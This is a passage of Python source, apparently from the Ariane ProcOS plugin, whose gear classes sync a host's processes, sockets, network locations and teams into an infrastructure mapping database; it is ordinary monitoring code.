operating_system = component.operating_system.get() try: start_time = timeit.default_timer() self.compute_current_possible_network(operating_system) self.sync_operating_system(operating_system) self.sync_operating_system_type(operating_system) self.sync_environment(operating_system) self.sync_team(operating_system) if self.is_network_sync_possible: self.sync_network(operating_system) sync_proc_time = timeit.default_timer()-start_time LOGGER.info('DirectoryGear.init_ariane_directories - time : ' + str(sync_proc_time)) except Exception as e: LOGGER.error("DirectoryGear.init_ariane_directories - " + e.__str__()) LOGGER.debug("DirectoryGear.init_ariane_directories - " + traceback.format_exc()) def update_ariane_directories(self, operating_system): LOGGER.debug("DirectoryGear.update_ariane_directories") # check last / new sniff diff on nics if self.is_network_sync_possible: try: if operating_system.last_nics != operating_system.nics: self.compute_current_possible_network(operating_system) if self.is_network_sync_possible: self.sync_network(operating_system) else: LOGGER.debug('DirectoryGear.update_ariane_directories - no changes with last sniff') except Exception as e: LOGGER.error("DirectoryGear.update_ariane_directories - " + e.__str__()) LOGGER.debug("DirectoryGear.update_ariane_directories - " + traceback.format_exc()) else: LOGGER.warn('DirectoryGear.update_ariane_directories - DIRECTORIES SYNC ARE IGNORED') def synchronize_with_ariane_directories(self, component): LOGGER.debug("DirectoryGear.synchronize_with_ariane_directories") if self.running: start_time = timeit.default_timer() operating_system = component.operating_system.get() self.update_ariane_directories(operating_system) self.update_count += 1 sync_proc_time = timeit.default_timer()-start_time LOGGER.info('DirectoryGear.synchronize_with_ariane_directories - time : ' + str(sync_proc_time)) else: LOGGER.warn("DirectoryGear.synchronize_with_ariane_directories - " "Synchronization requested but procos_directory_gear@" + str(SystemGear.hostname) + " is not running.") class MappingGear(InjectorGearSkeleton): def __init__(self): LOGGER.debug("MappingGear.__init__") super(MappingGear, self).__init__( gear_id='ariane.community.plugin.procos.gears.cache.mapping_gear@' + str(SystemGear.hostname), gear_name='procos_mapping_gear@' + str(SystemGear.hostname), gear_description='Ariane ProcOS injector gear for ' + str(SystemGear.hostname), gear_admin_queue='ariane.community.plugin.procos.gears.cache.mapping_gear@' + str(SystemGear.hostname), running=False ) self.update_count = 0 self.osi_container = None self.init_done = False self.target_osi_cache = {} self.cache_clean_counter = 0 self.cache_clean_counter_max = 60 def on_start(self): LOGGER.debug("MappingGear.on_start") self.running = True self.cache(running=self.running) def on_stop(self): LOGGER.debug("MappingGear.on_stop") if self.running: self.running = False self.cache(running=self.running) def on_failure(self, exception_type, exception_value, traceback_): LOGGER.debug("MappingGear.on_failure") LOGGER.error("MappingGear.on_failure - " + exception_type.__str__() + "/" + exception_value.__str__()) LOGGER.error("MappingGear.on_failure - " + traceback_.format_exc()) if self.running: self.running = False self.cache(running=self.running) def gear_start(self): LOGGER.debug("MappingGear.gear_start") self.on_start() LOGGER.info('procos_mapping_gear@' + str(SystemGear.hostname) + ' has been started.') def gear_stop(self): LOGGER.debug("MappingGear.gear_stop") if self.running: self.running = False self.cache(running=self.running) LOGGER.info('procos_mapping_gear@' + str(SystemGear.hostname) + ' has been stopped.') @staticmethod def diff_container_network_location(container, location): if container.properties is not None and Container.PL_MAPPING_PROPERTIES in container.properties: return ( container.properties[Container.PL_MAPPING_PROPERTIES][Container.PL_NAME_MAPPING_FIELD] != location.name or container.properties[Container.PL_MAPPING_PROPERTIES][Container.PL_ADDR_MAPPING_FIELD] != location.address or container.properties[Container.PL_MAPPING_PROPERTIES][Container.PL_TOWN_MAPPING_FIELD] != location.town or container.properties[Container.PL_MAPPING_PROPERTIES][Container.PL_CNTY_MAPPING_FIELD] != location.country or container.properties[Container.PL_MAPPING_PROPERTIES][Container.PL_GPSA_MAPPING_FIELD] != location.gpsLatitude or container.properties[Container.PL_MAPPING_PROPERTIES][Container.PL_GPSN_MAPPING_FIELD] != location.gpsLongitude ) else: return True @staticmethod def sync_container_network(container, location, routing_areas, subnets): LOGGER.debug("MappingGear.sync_container_network") if location is not None and MappingGear.diff_container_network_location(container, location): LOGGER.debug("MappingGear.sync_container_network - add location property") location_properties = { Container.PL_NAME_MAPPING_FIELD: location.name, Container.PL_ADDR_MAPPING_FIELD: location.address, Container.PL_TOWN_MAPPING_FIELD: location.town, Container.PL_CNTY_MAPPING_FIELD: location.country, Container.PL_GPSA_MAPPING_FIELD: location.gpsLatitude, Container.PL_GPSN_MAPPING_FIELD: location.gpsLongitude } container.add_property((Container.PL_MAPPING_PROPERTIES, location_properties)) if routing_areas is not None: network_properties = [] for routing_area in routing_areas: routing_area_subnets = [] for subnet in subnets: if subnet.id in routing_area.subnet_ids: routing_area_subnets.append( { Container.SUBNET_NAME_MAPPING_FIELD: subnet.name, Container.SUBNET_IPAD_MAPPING_FIELD: subnet.ip, Container.SUBNET_MASK_MAPPING_FIELD: subnet.mask, Container.SUBNET_ISDEFAULT_MAPPING_FIELD: subnet.is_default } ) if routing_area_subnets.__len__() > 0: network_properties.append( { Container.RAREA_NAME_MAPPING_FIELD: routing_area.name, Container.RAREA_MLTC_MAPPING_FIELD: routing_area.multicast, Container.RAREA_TYPE_MAPPING_FIELD: routing_area.type, Container.RAREA_SUBNETS: routing_area_subnets }) else: network_properties.append( { Container.RAREA_NAME_MAPPING_FIELD: routing_area.name, Container.RAREA_MLTC_MAPPING_FIELD: routing_area.multicast, Container.RAREA_TYPE_MAPPING_FIELD: routing_area.type }) if network_properties.__len__() > 0: LOGGER.debug("MappingGear.sync_container_network - add network property") container.add_property((Container.NETWORK_MAPPING_PROPERTIES, network_properties)) if _platform == "linux" or _platform == "linux2": bytes_ = subprocess.check_output(['cat', '/proc/sys/net/ipv4/ip_forward']) if '1' in str(bytes_): container.add_property((Container.OSI_IS_ROUTER_FIELD, True)) else: container.add_property((Container.OSI_IS_ROUTER_FIELD, False)) @staticmethod def diff_container_team(container, team): if container.properties is not None and Container.TEAM_SUPPORT_MAPPING_PROPERTIES in container.properties: try: ret = container.properties[Container.TEAM_SUPPORT_MAPPING_PROPERTIES][Container.TEAM_NAME_MAPPING_FIELD] != team.name or \ container.properties[Container.TEAM_SUPPORT_MAPPING_PROPERTIES][Container.TEAM_COLR_MAPPING_FIELD] != team.color_code return ret except Exception as e: try: ret = container.properties[Container.TEAM_SUPPORT_MAPPING_PROPERTIES][0][Container.TEAM_NAME_MAPPING_FIELD][1] != team.name or \ container.properties[Container.TEAM_SUPPORT_MAPPING_PROPERTIES][0][Container.TEAM_COLR_MAPPING_FIELD][1] != team.color_code return ret except Exception as e: return True else: return True def sync_container_properties(self, operating_system): LOGGER.debug("MappingGear.sync_container_properties - begin") if not self.init_done or operating_system.last_nics != operating_system.nics: self.sync_container_network(self.osi_container, SystemGear.location, SystemGear.routing_areas, SystemGear.subnets) if SystemGear.team is not None and MappingGear.diff_container_team(self.osi_container, SystemGear.team): team_properties = { Container.TEAM_NAME_MAPPING_FIELD: SystemGear.team.name, Container.TEAM_COLR_MAPPING_FIELD: SystemGear.team.color_code } LOGGER.debug("MappingGear.sync_container_network - add team property") self.osi_container.add_property((Container.TEAM_SUPPORT_MAPPING_PROPERTIES, team_properties)) self.osi_container.add_property(( Container.OWNER_MAPPING_PROPERTY, 'procos_system_gear@'+str(SystemGear.hostname) )) LOGGER.debug("MappingGear.sync_container_properties - done") def sync_container(self, operating_system): LOGGER.debug("MappingGear.sync_container - begin") if self.osi_container is None and operating_system.container_id is not None: self.osi_container = ContainerService.find_container(cid=operating_system.container_id) if self.osi_container is None: LOGGER.error('MappingGear.sync_container - consistency error between ProcOS cache and mapping DB (' + str(operating_system.container_id) + ')') operating_system.container_id = None if self.osi_container is None: LOGGER.debug("MappingGear.sync_container - FQDN : " + str(SystemGear.fqdn)) if SystemGear.fqdn is None: SystemGear.fqdn = SystemGear.hostname existing_container = ContainerService.find_container( primary_admin_gate_url=SystemGear.config.system_context.admin_gate_protocol+SystemGear.fqdn ) if existing_container is not None: deleted = False while not deleted: if existing_container is not None and existing_container.remove() is not None: time.sleep(5) existing_container = ContainerService.find_container( primary_admin_gate_url=SystemGear.config.system_context.admin_gate_protocol+SystemGear.fqdn ) else: deleted = True self.osi_container = Container( name=SystemGear.hostname, gate_uri=SystemGear.config.system_context.admin_gate_protocol+SystemGear.fqdn, primary_admin_gate_name=SystemGear.config.system_context.admin_gate_protocol + ' daemon', company=SystemGear.config.system_context.os_type.company.name, product=SystemGear.config.system_context.os_type.name + ' - ' + SystemGear.config.system_context.os_type.architecture, c_type='Operating System' ) self.osi_container.save() operating_system.container_id = self.osi_container.id LOGGER.debug('operating_system.container_id : (' + str(SystemGear.hostname) + ',' + str(operating_system.container_id) + ')') self.sync_container_properties(operating_system) LOGGER.debug("MappingGear.sync_container - done") @staticmethod def sync_remote_container_network(target_os_instance, target_container): LOGGER.debug("MappingGear.sync_remote_container_network - begin") target_possible_locations = [] target_routing_areas = [] target_subnets = [] if target_container.properties is not None and Container.PL_MAPPING_PROPERTIES in target_container.properties and \ Container.NETWORK_MAPPING_PROPERTIES in target_container.properties: LOGGER.debug("MappingGear.sync_remote_container_network - network already defined for remote container.") return for subnet_id in target_os_instance.subnet_ids: target_subnet = SubnetService.find_subnet( sb_id=subnet_id ) if target_subnet is not None and target_subnet not in target_subnets: target_subnets.append(target_subnet) target_routing_area = RoutingAreaService.find_routing_area( ra_id=target_subnet.routing_area_id ) if target_routing_area is not None and target_routing_area not in target_routing_areas: target_routing_areas.append(target_routing_area) for location_id in target_routing_area.loc_ids: target_possible_location = LocationService.find_location( loc_id=location_id ) if target_possible_location is not None and \ target_possible_location not in target_possible_locations: target_possible_locations.append(target_possible_location) if target_possible_locations.__len__() == 1: target_location = target_possible_locations[0] MappingGear.sync_container_network(target_container, target_location, target_routing_areas, target_subnets) else: LOGGER.warn("MappingGear.sync_remote_container_network - " "remote container loc not found for " + target_container.name) LOGGER.debug("MappingGear.sync_remote_container_network - done") @staticmethod def sync_remote_container_team(target_os_instance, target_container): LOGGER.debug("MappingGear.sync_remote_container_team - begin") if target_container.properties is not None and \ Container.TEAM_SUPPORT_MAPPING_PROPERTIES in target_container.properties: LOGGER.debug("MappingGear.sync_remote_container_network - team already defined for remote container.") return teams_props = [] for team_id in target_os_instance.team_ids: team = TeamService.find_team(team_id) team_properties = { Container.TEAM_NAME_MAPPING_FIELD: team.name, Container.TEAM_COLR_MAPPING_FIELD: team.color_code } teams_props.append(team_properties) target_container.add_property((Container.TEAM_SUPPORT_MAPPING_PROPERTIES, teams_props)) LOGGER.debug("MappingGear.sync_remote_container_team - done") @staticmethod def search_map_socket(map_sockets, endpoint_id): LOGGER.debug("MappingGear.find_map_socket") ret = None for map_socket in map_sockets: if map_socket.source_endpoint_id == endpoint_id or map_socket.destination_endpoint_id == endpoint_id: ret = map_socket break return ret @staticmethod def search_local_endpoint_by_url(proto, port, suffix): endpoint_to_search = None other_url_possibilities = [ proto + "::1:" + str(port) + suffix, proto + "::ffff:127.0.0.1:" + str(port) + suffix, proto + "::127.0.0.1:" + str(port) + suffix, proto + "127.0.0.1:" + str(port) + suffix, ] for other_url_possibility in other_url_possibilities: endpoint_to_search = EndpointService.find_endpoint( url=other_url_possibility ) if endpoint_to_search is not None: break return endpoint_to_search def sync_map_socket(self, operating_system): LOGGER.debug("MappingGear.sync_map_socket - begin") if self.osi_container is None: LOGGER.error('MappingGear.sync_map_socket - operating system container is not synced') return start_time = timeit.default_timer() for proc in operating_system.processs: if SystemGear.config.processes_filter is not None: is_found = False for process_name_filter in SystemGear.config.processes_filter: if process_name_filter in proc.name: is_found = True break if not is_found: continue if proc.mapping_id is not None and proc.new_map_sockets is not None: if proc.name != "exe": if "java" in proc.name or "python" in proc.name: if "java" in proc.name and "java" not in proc.cmdline[0]: name = '[' + str(proc.pid) + '] ' + str(proc.cmdline[0]) elif "python" in proc.name and "python" not in proc.cmdline[0]: name = '[' + str(proc.pid) + '] ' + str(proc.cmdline[0]) else: name = '[' + str(proc.pid) + '] ' + str(proc.name) else: name = '[' + str(proc.pid) + '] ' + str(proc.name) else: name = '[' + str(proc.pid) + '] ' + str(proc.name) + ' - ' + str(proc.cmdline[0]) LOGGER.debug("MappingGear.sync_map_socket - " + str(proc.new_map_sockets.__len__()) + ' new socket found for process ' + name) for map_socket in proc.new_map_sockets: if map_socket.source_ip is not None and map_socket.source_port is not None: proto = None if map_socket.type == "SOCK_STREAM": proto = "tcp://" elif map_socket.type == "SOCK_DGRAM": proto = "udp://" else: LOGGER.warn("MappingGear.sync_map_socket - socket type " + map_socket.type + " currently not supported !") if proto is not None: if proc.is_node: source_parent_node_id = proc.mapping_id else: source_parent_node_id = 0 LOGGER.warn("MappingGear.sync_map_socket - process as container not yet implemented !") if source_parent_node_id != 0: destination_is_local = operating_system.is_local_destination(map_socket) suffix = str(map_socket.file_descriptors) + '[' + str(proc.pid) + ']' source_url = proto + map_socket.source_ip + ":" + str(map_socket.source_port) + suffix source_endpoint = EndpointService.find_endpoint( url=source_url ) if source_endpoint is None and destination_is_local: source_endpoint = MappingGear.search_local_endpoint_by_url( proto, map_socket.source_port, suffix ) if source_endpoint is None: source_endpoint = Endpoint(url=source_url, parent_node_id=proc.mapping_id, ignore_sync=True) source_endpoint.add_property(('type', map_socket.type)) source_endpoint.add_property(('family', map_socket.family)) source_endpoint.add_property(('status', map_socket.status)) source_endpoint.add_property(('file descriptors', map_socket.file_descriptors)) source_endpoint.save() if map_socket.status == "LISTEN" and \ hasattr(proc, 'to_be_refined') and proc.to_be_refined: gate_to_refine = GateService.find_gate(nid=proc.mapping_id) if gate_to_refine is not None: for eid in gate_to_refine.endpoints_id: gep = EndpointService.find_endpoint(eid=eid) if gep is not None and gep.url.startswith("tbc://"): gep.remove() gate_to_refine.sync() if map_socket.source_port == SystemGear.config.system_context.admin_gate_port: previous_prim_gate = GateService.find_gate( self.osi_container.primary_admin_gate_id ) gate_to_refine.url = SystemGear.config.system_context.admin_gate_protocol+SystemGear.fqdn gate_to_refine.is_primary_admin = True gate_to_refine.save() previous_prim_gate.remove() else: gate_to_refine.url = source_url gate_to_refine.save() proc.to_be_refined = False else: LOGGER.warn("Gate not found for LISTEN url " + source_url) else: LOGGER.debug("Found source endpoint : (" + source_url + ',' + str(source_endpoint.id) + ")") if source_endpoint.id not in operating_system.duplex_links_endpoints \ and destination_is_local: operating_system.duplex_links_endpoints.append(source_endpoint.id) map_socket.source_endpoint_id = source_endpoint.id LOGGER.debug('MappingGear.sync_map_socket - source socket endpoint on mapping db : (' + source_url + ',' + str(map_socket.source_endpoint_id) + ')') if map_socket.destination_ip is not None and map_socket.destination_port is not None: target_url = proto + map_socket.destination_ip + ":" + \ str(map_socket.destination_port) target_fqdn = None if map_socket.family == "AF_INET": target_fqdn = MapSocket.get_cached_hostbyaddr( map_socket.destination_ip ) elif map_socket.family == "AF_INET6": target_fqdn = MapSocket.get_cached_hostbyaddr( MapSocket.ipv6_2_ipv4(map_socket.destination_ip) ) target_container = None if not destination_is_local else self.osi_container target_node = None target_endpoint = None if target_fqdn != "localhost" and target_fqdn is not None: target_os_instance = None target_os_hostname = None if target_fqdn.split(".").__len__() > 1: target_os_hostname = target_fqdn.split(".")[0] if target_os_hostname in self.target_osi_cache and \ self.target_osi_cache[target_os_hostname] is not None: target_os_instance = self.target_osi_cache[target_os_hostname] else: target_os_instance = OSInstanceService.find_os_instance( osi_name=target_os_hostname ) else: target_os_hostname = target_fqdn if target_os_hostname in self.target_osi_cache and \ self.target_osi_cache[target_os_hostname] is not None: target_os_instance = self.target_osi_cache[target_os_hostname] if target_os_instance is None: target_os_instance = OSInstanceService.find_os_instance( osi_name=target_fqdn ) if target_os_instance is None: target_ipa = IPAddressService.find_ip_address(ipa_fqdn=target_fqdn) if target_ipa is not None: target_os_instance = OSInstanceService.find_os_instance( osi_id=target_ipa.ipa_os_instance_id ) if target_os_instance is not None: if target_os_hostname not in self.target_osi_cache: self.target_osi_cache[target_os_hostname] = target_os_instance if target_container is None: target_container = ContainerService.find_container( primary_admin_gate_url=target_os_instance.admin_gate_uri ) if target_container is None: target_os_instance_type = OSTypeService.find_ostype( ost_id=target_os_instance.ost_id ) product = target_os_instance_type.name + " - " + \ target_os_instance_type.architecture \ if target_os_instance_type is not None else\ "Unknown OS Type" target_os_instance_type_cmp = CompanyService.find_company( cmp_id=target_os_instance_type.company_id ) if target_os_instance_type is not None else None company = target_os_instance_type_cmp.name\ if target_os_instance_type_cmp is not None else\ "Unknown OS Type Company" name = target_fqdn.split(".")[0] if target_fqdn is not None else\ map_socket.destination_ip target_container = Container( name=name, gate_uri=target_os_instance.admin_gate_uri, primary_admin_gate_name=target_fqdn + " Primary Admin Gate", company=company, product=product, c_type="Operating System" ) target_container.save() if target_container.properties is None or \ Container.OWNER_MAPPING_PROPERTY not in target_container.properties: MappingGear.sync_remote_container_network(target_os_instance, target_container) MappingGear.sync_remote_container_team(target_os_instance, target_container) if target_container is None: target_container = ContainerService.find_container( primary_admin_gate_url="not_my_concern://"+map_socket.destination_ip ) if target_container is None: target_container = Container( name=target_fqdn if target_fqdn is not None else map_socket.destination_ip, gate_uri="not_my_concern://"+map_socket.destination_ip, primary_admin_gate_name="External OS Primary Admin Gate" ) target_container.save() if target_container.id is not None and not destination_is_local: selector = "endpointURL =~ '.*:" + str(map_socket.destination_port) + ".*'" endpoints = EndpointService.find_endpoint( selector=selector, cid=target_container.id, local_cache=destination_is_local ) if endpoints is not None and endpoints.__len__() == 1: target_endpoint = endpoints[0] target_node = NodeService.find_node(nid=target_endpoint.parent_node_id) elif endpoints is not None and endpoints.__len__() > 1: LOGGER.debug("MappingGear.sync_map_socket - " "Multiple endpoints found for selector " + selector + " on container " + target_container.id + " - let remote do the job...") elif (endpoints is not None and endpoints.__len__() == 0) or endpoints is None: LOGGER.debug("MappingGear.sync_map_socket - " "No endpoint found for selector " + selector + " on container " + target_container.id) if target_endpoint is None and \ Container.OWNER_MAPPING_PROPERTY not in target_container.properties: addr = target_fqdn if target_fqdn is not None else map_socket.destination_ip LOGGER.debug("create node " + Container.OSI_KERNEL_PROC_NAME + " through container " + target_container.id) target_node = NodeService.find_node( name=Container.OSI_KERNEL_PROC_NAME, cid=target_container.id ) if target_node is None: target_node = Node( name=Container.OSI_KERNEL_PROC_NAME, container_id=target_container.id, ignore_sync=True ) target_node.save() target_endpoint = Endpoint( url=target_url, parent_node_id=target_node.id, ignore_sync=True ) target_endpoint.save() else: for proc_srv in operating_system.processs: for srv_socket in proc_srv.map_sockets: map_ipv4_ap = map_socket.transform_system_ipv6_to_ipv4() srv_ipv4_ap = srv_socket.transform_system_ipv6_to_ipv4() srv_source_ip = srv_ipv4_ap[0] srv_destination_ip = srv_ipv4_ap[1] map_source_ip = map_ipv4_ap[0] map_destination_ip = map_ipv4_ap[1] if srv_source_ip == map_destination_ip and\ srv_socket.source_port == map_socket.destination_port and\ srv_destination_ip == map_source_ip and\ srv_socket.destination_port == map_socket.source_port: if proc_srv.is_node: target_node = NodeService.find_node(nid=proc_srv.mapping_id) else: LOGGER.warn("MappingGear.sync_map_socket - process as container" " not yet implemented !") suffix = str(srv_socket.file_descriptors) + \ '[' + str(proc_srv.pid) + ']' target_url += suffix if target_node is not None: target_endpoint = EndpointService.find_endpoint( url=target_url ) if target_endpoint is None: target_endpoint = MappingGear.search_local_endpoint_by_url( proto, map_socket.destination_port, suffix ) if target_endpoint is None: target_endpoint = Endpoint( url=target_url, parent_node_id=target_node.id, ignore_sync=True ) target_endpoint.add_property(('type', srv_socket.type)) target_endpoint.add_property(('family', srv_socket.family)) target_endpoint.add_property(('status', srv_socket.status)) target_endpoint.add_property(('file descriptors', srv_socket.file_descriptors)) target_endpoint.save() if target_endpoint.id \ not in operating_system.duplex_links_endpoints and \ destination_is_local: operating_system.duplex_links_endpoints.append( target_endpoint.id ) break if target_endpoint is not None: map_socket.destination_endpoint_id = target_endpoint.id LOGGER.debug('MappingGear.sync_map_socket - target socket endpoint ' 'on mapping db : (' + target_url + ',' + str(map_socket.destination_endpoint_id) + ')') if target_node is not None: map_socket.destination_node_id = target_node.id LOGGER.debug('MappingGear.sync_map_socket - target socket node ' 'on mapping db : (' + target_url + ',' + str(map_socket.destination_node_id) + ')') map_socket.destination_container_id = target_container.id LOGGER.debug('MappingGear.sync_map_socket - target socket container ' 'on mapping db : (' + target_url + ',' + str(map_socket.destination_container_id) + ')') if map_socket.destination_endpoint_id is not None and \ map_socket.source_endpoint_id is not None: transport = Transport(name=proto) transport.save() if transport is not None: link = Link(source_endpoint_id=map_socket.source_endpoint_id, target_endpoint_id=map_socket.destination_endpoint_id, transport_id=transport.id) link.save() map_socket.transport_id = transport.id map_socket.link_id = link.id else: LOGGER.debug('MappingGear.sync_map_socket - missing destination endpoint id ' 'for ' + str(map_socket)) else: LOGGER.debug('MappingGear.sync_map_socket - no source ip / port - ' + str(map_socket)) if proc.mapping_id is not None and proc.dead_map_sockets is not None: if proc.name != "exe": if "java" in proc.name or "python" in proc.name: if "java" in proc.name and "java" not in proc.cmdline[0]: name = '[' + str(proc.pid) + '] ' + str(proc.cmdline[0]) elif "python" in proc.name and "python" not in proc.cmdline[0]: name = '[' + str(proc.pid) + '] ' + str(proc.cmdline[0]) else: name = '[' + str(proc.pid) + '] ' + str(proc.name) else: name = '[' + str(proc.pid) + '] ' + str(proc.name) else: name = '[' + str(proc.pid) + '] ' + str(proc.name) + ' - ' + str(proc.cmdline[0]) LOGGER.debug("MappingGear.sync_map_socket - " + str(proc.dead_map_sockets.__len__()) + ' dead socket found for process [' + str(proc.mapping_id) + ']' + name) for map_socket in proc.dead_map_sockets: # if map_socket.link_id is not None: # link = LinkService.find_link(lid=map_socket.link_id) # if link is not None: # link.remove() # else: # LOGGER.warn("Dead socket (link : " + str(map_socket.link_id) + ") " # "doesn't exist anymore on DB !") destination_is_local = operating_system.is_local_destination(map_socket) if map_socket.source_endpoint_id is not None and \ ( map_socket.source_endpoint_id not in operating_system.wip_delete_duplex_links_endpoints or map_socket.source_endpoint_id not in operating_system.duplex_links_endpoints ): source_endpoint = EndpointService.find_endpoint(eid=map_socket.source_endpoint_id) if source_endpoint is not None: LOGGER.debug('MappingGear.sync_map_socket - Remove source endpoint ' + str(map_socket.source_endpoint_id)) source_endpoint.remove() if map_socket.source_endpoint_id in operating_system.duplex_links_endpoints: operating_system.wip_delete_duplex_links_endpoints.append(map_socket.source_endpoint_id) else: LOGGER.warn("MappingGear.sync_map_socket - Dead socket (source endpoint : " + str(map_socket.source_endpoint_id) + ") doesn't exist anymore on DB!") elif map_socket.source_endpoint_id is not None and \ map_socket.source_endpoint_id in operating_system.wip_delete_duplex_links_endpoints: operating_system.wip_delete_duplex_links_endpoints.remove(map_socket.source_endpoint_id) operating_system.duplex_links_endpoints.remove(map_socket.source_endpoint_id) if map_socket.destination_endpoint_id is not None and \ ( map_socket.destination_endpoint_id not in operating_system.wip_delete_duplex_links_endpoints or map_socket.destination_endpoint_id not in operating_system.duplex_links_endpoints ): target_endpoint = EndpointService.find_endpoint( eid=map_socket.destination_endpoint_id, local_cache=destination_is_local ) if target_endpoint is not None: array_link = LinkService.find_link(tep_id=target_endpoint.id) if array_link is not None and array_link.__len__() == 0: LOGGER.debug('MappingGear.sync_map_socket - Remove target endpoint ' + str(map_socket.destination_endpoint_id)) target_endpoint.remove() if map_socket.destination_endpoint_id in operating_system.duplex_links_endpoints: operating_system.wip_delete_duplex_links_endpoints.append( map_socket.destination_endpoint_id ) else: LOGGER.warn("MappingGear.sync_map_socket - Dead socket (target endpoint : " + str(map_socket.destination_endpoint_id) + ") doesn't exist anymore on DB!") elif map_socket.destination_endpoint_id is not None and \ map_socket.destination_endpoint_id in operating_system.wip_delete_duplex_links_endpoints: operating_system.wip_delete_duplex_links_endpoints.remove(map_socket.destination_endpoint_id) operating_system.duplex_links_endpoints.remove(map_socket.destination_endpoint_id) sync_proc_time = timeit.default_timer()-start_time LOGGER.debug('MappingGear.sync_map_socket - time : ' + str(sync_proc_time)) LOGGER.debug("MappingGear.sync_map_socket - done") def sync_processs(self, operating_system): LOGGER.debug("MappingGear.sync_processs - begin") if self.osi_container is None: LOGGER.error('MappingGear.sync_processs - operating system container is not synced') return start_time = timeit.default_timer() kernel_map_obj = NodeService.find_node(name=Container.OSI_KERNEL_PROC_NAME, cid=self.osi_container.id) if kernel_map_obj is None: kernel_map_obj = Node( name=Container.OSI_KERNEL_PROC_NAME, container=self.osi_container ) kernel_map_obj.add_property(('pid', 0), sync=False) kernel_map_obj.add_property(('username', "root"), sync=False) kernel_map_obj.add_property(('uids', [0]), sync=False) kernel_map_obj.add_property(('gids', [0]), sync=False) kernel_map_obj.save() LOGGER.debug("MappingGear.sync_processs - " + str(operating_system.new_processs.__len__()) + ' new processes found') for process in operating_system.new_processs: if SystemGear.config.processes_filter is not None: is_found = False for process_name_filter in SystemGear.config.processes_filter: if process_name_filter in process.name: is_found = True break if not is_found: continue if process.name != "exe": if "java" in process.name or "python" in process.name: if "java" in process.name and "java" not in process.cmdline[0]: name = '[' + str(process.pid) + '] ' + str(process.cmdline[0]) elif "python" in process.name and "python" not in process.cmdline[0]: name = '[' + str(process.pid) + '] ' + str(process.cmdline[0]) else: name = '[' + str(process.pid) + '] ' + str(process.name) else: name = '[' + str(process.pid) + '] ' + str(process.name) else: name = '[' + str(process.pid) + '] ' + str(process.name) + ' - ' + str(process.cmdline[0]) is_gate = False if process.new_map_sockets is not None and \ "docker-proxy" not in process.name: # let ariane docker plugin manage this for map_socket in process.new_map_sockets: if map_socket.source_ip is not None and map_socket.source_port is not None: if map_socket.status == "LISTEN" and not operating_system.is_local_service(map_socket): LOGGER.debug("MappingGear.sync_processs - gate process found (" + name + ")") is_gate = True break if not is_gate: process_map_obj = Node( name=name, container=self.osi_container ) process.to_be_refined = False else: process_map_obj = Gate( name=name, is_primary_admin=False, url="tbc://" + str(SystemGear.fqdn) + "[" + name + "]", # will be redefined in sync_map_socket container=self.osi_container ) process.to_be_refined = True process_map_obj.add_property(('pid', process.pid), sync=False) process_map_obj.add_property(('exe', process.exe), sync=False) process_map_obj.add_property(('cwd', process.cwd), sync=False) process_map_obj.add_property(('creation time', process.create_time), sync=False) process_map_obj.add_property(('username', process.username), sync=False) process_map_obj.add_property(('uids', process.uids), sync=False) process_map_obj.add_property(('gids', process.gids), sync=False) if process.terminal is not None: process_map_obj.add_property(('terminal', process.terminal), sync=False) if process.cpu_affinity is not None: process_map_obj.add_property(('cpu_affinity', process.cpu_affinity), sync=False) process_map_obj.save() if process.cmdline.__len__() > 0: for cmdline_part in process.cmdline: if "-pass" in cmdline_part or "-pwd" in cmdline_part: pass_index = process.cmdline.index(cmdline_part) if pass_index + 1 < process.cmdline.__len__(): process.cmdline[pass_index+1] = "*****" process_map_obj.add_property(('cmdline', process.cmdline)) process.mapping_id = process_map_obj.id LOGGER.debug('MappingGear.sync_processs - new process on mapping db : (' + name + ',' + str(process.mapping_id) + ')') LOGGER.debug("MappingGear.sync_processs - " + str(operating_system.dead_processs.__len__()) + ' old processes found') for process in operating_system.dead_processs: if SystemGear.config.processes_filter is not None: is_found = False for process_name_filter in SystemGear.config.processes_filter: if process_name_filter in process.name: is_found = True break if not is_found: continue if process.name != "exe": if "java" in process.name or "python" in process.name: if "java" in process.name and "java" not in process.cmdline[0]: name = '[' + str(process.pid) + '] ' + str(process.cmdline[0]) elif "python" in process.name and "python" not in process.cmdline[0]: name = '[' + str(process.pid) + '] ' + str(process.cmdline[0]) else: name = '[' + str(process.pid) + '] ' + str(process.name) else: name = '[' + str(process.pid) + '] ' + str(process.name) else: name = '[' + str(process.pid) + '] ' + str(process.name) + ' - ' + str(process.cmdline[0]) if process.mapping_id is None: LOGGER.error('MappingGear.sync_processs - dead process (' + name + ') has not been saved on mapping db !') else: if process.is_node: process_map_obj = NodeService.find_node(nid=process.mapping_id) else: process_map_obj = ContainerService.find_container(cid=process.mapping_id) if process_map_obj is None: LOGGER.error('MappingGear.sync_processs - consistency error between ProcOS cache and mapping DB (' + name + ',' + str(process.mapping_id) + ')') else: process_map_obj.remove() sync_proc_time = timeit.default_timer()-start_time LOGGER.debug('MappingGear.sync_processs - time : ' + str(sync_proc_time)) LOGGER.debug("MappingGear.sync_processs - done") def synchronize_with_ariane_mapping(self, component): LOGGER.debug("MappingGear.synchronize_with_ariane_mapping") if self.running: try: start_time = timeit.default_timer() self.cache_clean_counter += 1 operating_system = component.operating_system.get() if self.cache_clean_counter == self.cache_clean_counter_max: self.cache_clean_counter = 0 self.target_osi_cache.clear() self.sync_container(operating_system) self.sync_processs(operating_system) self.sync_map_socket(operating_system) self.update_count += 1 sync_proc_time = timeit.default_timer()-start_time LOGGER.info('MappingGear.synchronize_with_ariane_mapping - time : ' + str(sync_proc_time)) LOGGER.debug("MappingGear.synchronize_with_ariane_mapping - activate " + SystemGear.domino_ariane_sync_topic) if not self.init_done: self.init_done = True else: SystemGear.domino_activator.activate(SystemGear.domino_ariane_sync_topic) except Exception as e: LOGGER.error("MappingGear.synchronize_with_ariane_mapping - " + e.__str__()) LOGGER.error("MappingGear.synchronize_with_ariane_mapping - " + traceback.format_exc()) else: LOGGER.warn('Synchronization requested but procos_mapping_gear@' + str(SystemGear.hostname) + ' is not running.') class SystemGear(InjectorGearSkeleton): # static reference on commons var config = None hostname = None fqdn = None # static reference to up to date ariane directories objects linked to this System location = None routing_areas = [] subnets = [] osi = None embedding_osi = None ost = None ost_company = None team = None environment = None domino_component_topic = "domino_component" domino_ariane_sync_topic = "domino_ariane_sync" domino_activator = None def __init__(self, config): LOGGER.debug("SystemGear.__init__") SystemGear.hostname = socket.gethostname() if SystemGear.hostname.split(".").__len__() > 1: SystemGear.hostname = SystemGear.hostname.split(".")[0] SystemGear.config = config super(SystemGear, self).__init__( gear_id='ariane.community.plugin.procos.gears.cache.system_gear@'+str(SystemGear.hostname), 